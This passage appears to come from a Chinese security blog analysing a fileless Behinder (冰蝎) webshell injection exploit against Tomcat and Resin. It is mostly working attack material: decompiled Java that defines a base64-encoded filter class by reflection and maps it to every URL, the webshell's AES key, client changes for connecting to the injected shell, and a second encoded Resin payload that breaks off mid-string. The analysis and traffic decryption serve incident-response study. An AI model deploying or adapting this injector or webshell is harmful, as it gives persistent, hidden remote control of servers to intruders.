final String s9 = "yv66vgAAADIAtAoAMQBPCgAxAFAKADEAUQcAUgcAUwgAVAsABABVCABWCgAmAFcLAAQAWAgAWQsAWgBbCABcCwBaAF0IAF4KAF8AYAcAYQcAYgoAEgBPCgASAGMIAGQKABIAZQoAEgBmCgAmAGcKABEAaAoAXwBpCwAEAGoHAGsKABwATwoAbABtCgAcAG4HAG8KAC0AcAoAcQByCgAgAFAHAHMKACQATwcAdAoAHAB1CgAmAHYKACQAdwoAXwB4CgAgAHkKAHEAegcAewoALQBXBwB8CwB9AH4HAH8HAIABAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAaKExqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7KVYBAAFnAQAVKFtCKUxqYXZhL2xhbmcvQ2xhc3M7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAApFeGNlcHRpb25zBwCBAQAIZG9GaWx0ZXIBAFsoTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlO0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOylWAQANU3RhY2tNYXBUYWJsZQcAUgcAUwcAbwcAggcAgwcAhAcAhQcAhgcAawcAfAcAhwEAB2Rlc3Ryb3kBAApTb3VyY2VGaWxlAQARSG9yaXpvbnRpY2FsLmphdmEMADMANAwAMwA3DACIAIkBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBAApVc2VyLUFnZW50DACKAIsBAHFNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvODQuMC40OTYuMTkgU2FmYXJpLzUzNy4zNgwAjACNDACOAI8BAAF1BwCQDACRAJIBABA4YzI1ZGZiZWRmOWU0MDJhDACTAJQBAANBRVMHAIUMAJUAlgEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwAlwCYAQAADACXAJkMAJoAmwwAnACdDAAzAJ4MADoAnwwAoAChAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0HAIYMAKIAowwApAClAQAMSG9yaXpvbnRpY2FsDACmAKcHAKgMAKkAqgEAFnN1bi9taXNjL0JBU0U2NERlY29kZXIBABBqYXZhL2xhbmcvU3RyaW5nDACrAJ0MADMArAwArQCuDACvALAMADgAOQwAsQCyAQAQamF2YS9sYW5nL09iamVjdAEAE2phdmEvbGFuZy9UaHJvd2FibGUHAIQMAD4AswEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAFGphdmF4L3NlcnZsZXQvRmlsdGVyAQAeamF2YXgvc2VydmxldC9TZXJ2bGV0RXhjZXB0aW9uAQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQAZamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbgEAE2phdmF4L2NyeXB0by9DaXBoZXIBACBqYXZheC9zZXJ2bGV0L1NlcnZsZXRJbnB1dFN0cmVhbQEAE2phdmEvaW8vSU9FeGNlcHRpb24BAAtkZWZpbmVDbGFzcwEAFyhbQklJKUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0SGVhZGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAApnZXRTZXNzaW9uAQAiKClMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uOwEAHmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbgEADGdldEF0dHJpYnV0ZQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7AQAMc2V0QXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQALZ2V0SW5zdGFuY2UBACkoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEABmFwcGVuZAEALShMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhnZXRCeXRlcwEABCgpW0IBABcoW0JMamF2YS9sYW5nL1N0cmluZzspVgEAFyhJTGphdmEvc2VjdXJpdHkvS2V5OylWAQAOZ2V0SW5wdXRTdHJlYW0BACQoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRJbnB1dFN0cmVhbTsBAARyZWFkAQADKClJAQAFd3JpdGUBAAQoSSlWAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAPamF2YS9sYW5nL0NsYXNzAQAOZ2V0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQALdG9CeXRlQXJyYXkBAAUoW0IpVgEADGRlY29kZUJ1ZmZlcgEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAdkb0ZpbmFsAQAGKFtCKVtCAQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAQChMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7KVYAIQAgADEAAQAyAAAABgABADMANAABADUAAAAhAAEAAQAAAAUqtwABsQAAAAEANgAAAAoAAgAAABQABAAVAAEAMwA3AAEANQAAACIAAgACAAAABiortwACsQAAAAEANgAAAAoAAgAAABgABQAZAAEAOAA5AAEANQAAACEABAACAAAACSorAyu+twADsAAAAAEANgAAAAYAAQAAABwAAQA6ADsAAgA1AAAAGQAAAAIAAAABsQAAAAEANgAAAAYAAQAAACAAPAAAAAQAAQA9AAEAPgA/AAIANQAAAeMABwAKAAABCivAAAQ6BCzAAAU6BRkEEga5AAcCAMYA7BkEEga5AAcCABIItgAJmQDbGQS5AAoBABILuQAMAgDHABMZBLkACgEAEgsSDbkADgMAEg+4ABA6BxkHBbsAEVm7ABJZtwATGQS5AAoBABILuQAMAgC2ABQSFbYAFrYAF7YAGBIPtwAZtgAaGQS5ABsBADoIuwAcWbcAHToJGQi2AB5ZNgYCnwANGQkVBrYAH6f/7bsAIFkqtgAhtgAitwAjGQe7ACRZtwAluwAmWRkJtgAntwAotgAptgAqtgArtgAsBb0ALVkDGQS5AAoBAFNZBBkFU7YALlenABg6Bi0rLLkAMAMApwALLSssuQAwAwCxAAEAKQDxAPQALwACADYAAABKABIAAAAjAAYAJAAMACUAKQAoADoAKQBKACsAUQAsAIMALQCMAC4AlQAvAKEAMACrADIA8QA1APQAMwD2ADQA/gA1AQEANwEJADkAQAAAAG8ABv0ASgcAQQcAQv8ASgAKBwBDBwBEBwBFBwBGBwBBBwBCAAcARwcASAcASQAA/wAVAAoHAEMHAEQHAEUHAEYHAEEHAEIBBwBHBwBIBwBJAAD/AEgABgcAQwcARAcARQcARgcAQQcAQgABBwBKDAcAPAAAAAYAAgBLAD0AAQBMADQAAQA1AAAAGQAAAAEAAAABsQAAAAEANgAAAAYAAQAAADwAAQBNAAAAAgBO";
byte[] array5;
try {
final Class<?> loadClass10 = parent.loadClass("java.util.Base64");
array5 = (byte[])parent.loadClass("java.util.Base64$Decoder").getMethod("decode", String.class).invoke(loadClass10.getMethod("getDecoder", (Class<?>[])new Class[0]).invoke(loadClass10, new Object[0]), s9);
}
catch (ClassNotFoundException ex12) {
final Class<?> loadClass11 = parent.loadClass("javax.xml.bind.DatatypeConverter");
array5 = (byte[])loadClass11.getMethod("parseBase64Binary", String.class).invoke(loadClass11, s9);
}
final Method declaredMethod = parent.loadClass("java.lang.ClassLoader").getDeclaredMethod("defineClass", String.class, byte[].class, Integer.TYPE, Integer.TYPE);
declaredMethod.setAccessible(true);
final Class clazz4 = (Class)declaredMethod.invoke(parent, s8, array5, 0, array5.length);
final Object instance = clazz2.newInstance();
final Object instance2 = clazz3.newInstance();
boolean b3 = false;
try {
loadClass5.getDeclaredField("WRAP_SAME_OBJECT");
}
catch (NoSuchFieldException ex13) {
b3 = true;
}
try {
if (!b3) {
clazz2.getMethod("setFilter", loadClass6).invoke(instance, clazz4.newInstance());
}
}
catch (NoSuchMethodException ex6) {
throw ex6;
}
clazz2.getMethod("setFilterClass", String.class).invoke(instance, s8);
clazz2.getMethod("setFilterName", String.class).invoke(instance, s8);
loadClass7.getMethod("addFilterDef", clazz2).invoke(invoke3, instance);
clazz3.getMethod("setFilterName", String.class).invoke(instance2, s8);
clazz3.getMethod("addURLPattern", String.class).invoke(instance2, "*");
if (b3) {
final Field declaredField7 = loadClass7.getDeclaredField("filterMaps");
declaredField7.setAccessible(true);
final Object value5 = declaredField7.get(invoke3);
final int length2 = Array.getLength(value5);
final Object instance3 = Array.newInstance(clazz3, length2 + 1);
Array.set(instance3, 0, instance2);
int k = 0;
try {
while (k < length2) {
Array.set(instance3, k + 1, Array.get(value5, k));
++k;
}
}
catch (NoSuchMethodException ex7) {
throw ex7;
}
declaredField7.set(invoke3, instance3);
}
else {
final Field declaredField8 = loadClass7.getDeclaredField("filterMaps");
declaredField8.setAccessible(true);
final Object value6 = declaredField8.get(invoke3);
final Field declaredField9 = value6.getClass().getDeclaredField("insertPoint");
declaredField9.setAccessible(true);
final int int1 = Integer.parseInt(declaredField9.get(value6).toString());
declaredField9.set(value6, 0);
loadClass7.getMethod("addFilterMapBefore", clazz3).invoke(invoke3, instance2);
declaredField9.set(value6, int1 + 1);
}
final Constructor<?> declaredConstructor = loadClass8.getDeclaredConstructor(loadClass9, clazz2);
declaredConstructor.setAccessible(true);
final Object instance4 = declaredConstructor.newInstance(invoke3, instance);
Field declaredField10 = null;
Class<?> superclass = loadClass7;
while (superclass != null) {
try {
declaredField10 = superclass.getDeclaredField("filterConfigs");
}
catch (NoSuchFieldException ex14) {
superclass = superclass.getSuperclass();
continue;
}
break;
}
if (declaredField10 != null) {
declaredField10.setAccessible(true);
((HashMap)declaredField10.get(invoke3)).put(s8, instance4);
}
try {
final File file = new File(System.getProperty("java.io.tmpdir"));
final File file2 = new File(file, s8.replace(".", "/") + ".class");
Label_2082: {
try {
if (!file2.exists()) {
if (!file2.createNewFile()) {
break Label_2082;
}
}
}
catch (NoSuchMethodException ex8) {
throw ex8;
}
final Constructor<?> declaredConstructor2 = parent.loadClass("sun.misc.URLClassPath$FileLoader").getDeclaredConstructor(URL.class);
declaredConstructor2.setAccessible(true);
final Object instance5 = declaredConstructor2.newInstance(file.toURI().toURL());
ClassLoader classLoader;
for (classLoader = ClassLoader.getSystemClassLoader(); classLoader.getParent() != null; classLoader = classLoader.getParent()) {}
Field declaredField11 = null;
Serializable s10 = classLoader.getClass();
while (s10 != null) {
try {
declaredField11 = ((Class)s10).getDeclaredField("ucp");
}
catch (NoSuchFieldException ex15) {
s10 = ((Class<? extends ClassLoader>)s10).getSuperclass();
continue;
}
break;
}
if (declaredField11 != null) {
declaredField11.setAccessible(true);
final Field declaredField12 = Field.class.getDeclaredField("modifiers");
declaredField12.setAccessible(true);
declaredField12.setInt(declaredField11, 0);
final Object value7 = declaredField11.get(classLoader);
Field declaredField13 = null;
Class<?> clazz5 = value7.getClass();
while (clazz5 != null) {
try {
declaredField13 = clazz5.getDeclaredField("loaders");
}
catch (NoSuchFieldException ex16) {
clazz5 = clazz5.getSuperclass();
continue;
}
break;
}
if (declaredField13 != null) {
declaredField13.setAccessible(true);
((ArrayList)declaredField13.get(value7)).add(instance5);
}
}
}
}
catch (Exception ex17) {}
b = true;
break;
}
}
try {
if (b) {
break;
}
}
catch (NoSuchMethodException ex9) {
throw ex9;
}
}
}
catch (Exception ex18) {}

关键过程:

  1. Thread.currentThread()开始,通过反射获取Request对象。

  2. 进一步获取到StandardContext。

    1
    2
    3
    4
    5
    final Field declaredField6 = loadClass3.getDeclaredField("req");
    declaredField6.setAccessible(true);
    final Object value4 = declaredField6.get(value3);
    final Object invoke2 = value4.getClass().getMethod("getNote", Integer.TYPE).invoke(value4, 1);
    final Object invoke3 = invoke2.getClass().getMethod("getContext", (Class<?>[])new Class[0]).invoke(invoke2, new Object[0]);
  3. 自定义一个名为Horizontical的无文件冰蝎Webshell Filter,AES加密通信的密钥为8c25dfbedf9e402a,可以看到这个冰蝎Webshell是被改过了的。

  4. 构造FilterDef,并添加到FilterMap,然后将添加的FilterMap调整到首位,最后把filterConfig放到filterConfigs中。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    clazz2.getMethod("setFilterClass", String.class).invoke(instance, s8);
    clazz2.getMethod("setFilterName", String.class).invoke(instance, s8);
    loadClass7.getMethod("addFilterDef", clazz2).invoke(invoke3, instance);
    clazz3.getMethod("setFilterName", String.class).invoke(instance2, s8);
    clazz3.getMethod("addURLPattern", String.class).invoke(instance2, "*");
    ...
    while (superclass != null) {
    try {
    declaredField10 = superclass.getDeclaredField("filterConfigs");
    }
    catch (NoSuchFieldException ex14) {
    superclass = superclass.getSuperclass();
    continue;
    }
    break;
    }
    if (declaredField10 != null) {
    declaredField10.setAccessible(true);
    ((HashMap)declaredField10.get(invoke3)).put(s8, instance4);
    }

至此,这个攻击的EXP就差不多分析完了。可以说很佩服这个对手了,从一开始的BasicDataSource结合时间延迟检测漏洞,到加密增加分析的难度,然后综合考虑Tomcat不同版本的兼容性,各种try catch以及if else,关键这Filter的名字还起的这么文艺。

其实如果只是想获知无文件Webshell的部分,也没必要搞得这么复杂,最快捷的方法,就是在本地环境重放一次攻击流量,然后用Arthas去Attach就可以了。

0x5 流量解密

拿到冰蝎AES加密通信的密钥之后,基本就可以对冰蝎加密的流量进行解密了,解密了流量之后,对手用这个Webshell做了什么事情基本就一清二楚了。

用反编译的冰蝎代码直接调解密函数去解密即可。
net/rebeyond/behinder/core/Crypt.java#DecryptForJava

这里不得不再佩服一下这个对手,解了冰蝎的第一个通信流量发现这个改造的冰蝎居然还有一次随机密钥重置的过程,也就是说后续通信加密的密钥变了,庆幸当时我们流量是全的,很轻易的就拿到了这个随机密钥,所以并没有太多影响,最后还是成功的解了出来。

0x6 冰蝎改造

当时感觉这个EXP还挺好用的,干脆直接拿来用了。因为注入的无文件冰蝎Webshell是修改过的,因此基于这个Webshell直接修改了一版可以适配的冰蝎客户端。当然,其实也可以直接把Webshell部分直接改掉,我这里是选择了一种相对曲折一点的方法。

我是基于冰蝎v3.0 Beta5版本进行修改的,主要修改了两个地方:

  1. 冰蝎v3.0 Beta5版本的AES加密密钥是取了原密码的MD5的前16位,但是由于我不知道密钥8c25dfbedf9e402a对应的原密码,因此我直接把AES密钥修改为直接输入的密码了,这样子我输入连接密码时,直接填入8c25dfbedf9e402a就行了。

    1
    2
    3
    4
    public static String getKey(final String password) throws Exception {
    //return getMD5(password);
    return password;
    }
  2. 去掉需要依赖JSP的PageContext。这部分主要是对net.rebeyond.behinder.payload.java包里面各个类的equal方法进行修改。

    1
    2
    3
    4
    5
    6
    7
    // final PageContext page = (PageContext)obj;
    // this.Session = page.getSession();
    // this.Response = page.getResponse();
    // this.Request = page.getRequest();
    final Object[] page = (Object[])obj;
    final ServletResponse response = (ServletResponse)page[1];
    final HttpSession session = (HttpSession)page[0];

改完之后重新编译一版冰蝎客户端,本地环境重放攻击后使用冰蝎连接成功。

0x7 新样本分析

最后看一下宽字节安全发出来的新样本,这么长时间过去了看看有什么新的变化。同样的,反编译的代码也是有问题的,出现问题的代码和之前基本是一样的,对于这个问题的解决已经轻车熟路了。

这类名看起来还是那么的文艺,Overbrilliantly,但我也不知道是什么意思。从解密的结果大致可以看出来这是一个基于Resin的动态注册Filter的无文件Webshell攻击,之前还真没怎么看过Resin的无文件Webshell实现。

解密出来实现注册无文件Webshell的代码大致如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
try {
final ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
final Class<?> loadClass = contextClassLoader.loadClass("com.caucho.server.dispatch.ServletInvocation");
final Class<?> loadClass2 = contextClassLoader.loadClass("com.caucho.server.dispatch.FilterConfigImpl");
final Class<?> loadClass3 = contextClassLoader.loadClass("com.caucho.server.dispatch.FilterMapping");
final Class<?> loadClass4 = contextClassLoader.loadClass("com.caucho.server.dispatch.FilterMapping$URLPattern");
final Class<?> loadClass5 = contextClassLoader.loadClass("com.caucho.server.dispatch.FilterMapper");
final Object invoke = loadClass.getMethod("getContextRequest", (Class<?>[])new Class[0]).invoke(loadClass, new Object[0]);
final Object invoke2 = invoke.getClass().getMethod("getWebApp", (Class<?>[])new Class[0]).invoke(invoke, new Object[0]);
final String s5 = "com.caucho.filters.PseudodramaticallyFilter";
final String s6 = "yv66vgAAADIA2wgAVggAUgcAWggAjwcAGAEACVpLTTE1LjAuMAEAE2phdmEvaW8vSU9FeGNlcHRpb24BAAlsb2FkQ2xhc3MKAFwAnwoANwCjAQAYKExqYXZhL2xhbmcvVGhyb3dhYmxlOylWAQANU3RhY2tNYXBUYWJsZQEAFihJSSlMamF2YS9sYW5nL1N0cmluZzsBAAFiAQAHZG9GaW5hbAEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlDAB6AHIMADIAcQEAHmphdmF4L3NlcnZsZXQvU2VydmxldEV4Y2VwdGlvbgEAFGphdmF4L3NlcnZsZXQvRmlsdGVyCgCSAEQHACMBAAlnZXRNZXRob2QBAAJbQgwApwBZAQAGZXF1YWxzCQAuAJUHAEABABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QHABQKAAMAvgcAXwsAZwDOCgCbADgBAB9qYXZheC9jcnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjCgADAK4MALsAvQkALgDRCgADAD4BABFqYXZhL2xhbmcvSW50ZWdlcgoAAwCRAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAoAjACxCgA5AJgBABcoW0JMamF2YS9sYW5nL1N0cmluZzspVgcATQcABwcAEwoAkgDAAQAGaW50ZXJuCwCCACUBAApTb3VyY2VGaWxlAQABWgoAmwCRBwB5DACpAIMHAEgKADcAeAEAJCgpTGphdmF4L3NlcnZsZXQvU2VydmxldElucHV0U3RyZWFtOwoAFgCuAQALbmV3SW5zdGFuY2UMAKkAjgwADwDIAQAZamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbgEAB3ZhbHVlT2YBAAt0b0J5dGVBcnJheQEAHmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbgwASQDFAQAQamF2YS9sYW5nL09iamVjdAEAE2phdmF4L2NyeXB0by9DaXBoZXIHABABABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBAAV3cml0ZQEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAEKEkpQwEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQArY29tL2NhdWNoby9maWx0ZXJzL1BzZXVkb2RyYW1hdGljYWxseUZpbHRlcgEADmdldENsYXNzTG9hZGVyAQAEaW5pdAEABCgpW0MHANcBARUNcXp+cUIRGXVrYnBldxpxLyVXTngIZmAgA3VvcG0JbgR4N3N8SXJHUHhldFNvGXFafntRcxtgfGMYA3VvcDtSYsCAeDdTdFRzXyA9VXBEeQ1xawo8Z3xjOGZxDHptCg5xbVVwRHkNcWsDKFFKCw1xf3h7QlUFdWpiBTxAXzwtCjxnfGM4ZnEMem1zJHtjeHlLd0YhNyE1D0HAgHp9fmJUNidAOSAlCSZSNE54exEiUjRhJyEONihkaX1wcHMLX3BlOhIlWDorJzUPXSFAVF05B3rAgH98MVJCdQJ7MDFWT2QGeXw+LRE4WTotIyEXOFgnITFGRnAIZnA+IBQnRyYvAyhRShBediokcUZ0DHIpKHATJlt2DABYAEsBAAFJBwBGAQABdQoALgDWAQAGY2hhckF0AQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgEAEGphdmEvbGFuZy9TdHJpbmcBAAdkZXN0cm95BwAdCwAcABkKAJMAhwEAIGphdmF4L3NlcnZsZXQvU2VydmxldElucHV0U3RyZWFtDABrAA0BACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwoAVQBkAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwwATwCNAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwwAbwCoBwAqCwBnALIKAAMAdgEABChaKVYBAAlzdWJzdHJpbmcMALUAwgEACWdldEhlYWRlcgoAkgCdAQAEcmVhZAEAWyhMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7TGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47KVYBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAEygpTGphdmEvbGFuZy9DbGFzczsBAAxnZXRBdHRyaWJ1dGUBAA1zZXRBY2Nlc3NpYmxlAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwwAiQCABwB/DAAXAKABAA9qYXZhL2xhbmcvQ2xhc3MBAAhnZXRDbGFzcwoALgCBAQALdG9DaGFyQXJyYXkMANQASgkAkwB9AQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEABCgpW0IMAIYArwcAQwEAAygpVgEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwA0ACtAQABYQwAQQBlAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24BAAhnZXRCeXRlcwEADmdldElucHV0U3RyZWFtBwDVBwCIAQAXKElMamF2YS9zZWN1cml0eS9LZXk7KVYBAAUoW0MpVgEAJwN1b3A7S3cHczdSeUZlGlh2cHFCZBADdW9wO1JiwIB4N1N0VHNfIAwAPQC2DAAaAJwHAKYHACgKAAMAbAwADgA1AQAEQ29kZQcAtwwACABjCgA3AJALAGcAuQcARQEAFShMamF2YS9sYW5nL09iamVjdDspWgwAxACDAQARZ2V0RGVjbGFyZWRNZXRob2QMAMYAhAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsHAMwBAApFeGNlcHRpb25zDACeAKABAB8oTGphdmF4L3NlcnZsZXQvRmlsdGVyQ29uZmlnOylWCgADAFMBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQEACGRvRmlsdGVyAQAFKFtCKUkBAAY8aW5pdD4KAFUAhQwAdABqAQAIPGNsaW5pdD4BACkoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZheC9jcnlwdG8vQ2lwaGVyOwwAqQAtAQAXKFtMamF2YS9sYW5nL09iamVjdDspW0IHAMMMAKkACwwAigA7CgA3ANMMAHMAYQEABmxlbmd0aAEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UKAAMAEgwAzQC8AQAdUHNldWRvZHJhbWF0aWNhbGx5RmlsdGVyLmphdmEBAAxzZXRBdHRyaWJ1dGUBACIoKUxqYXZheC9zZXJ2bGV0L2h0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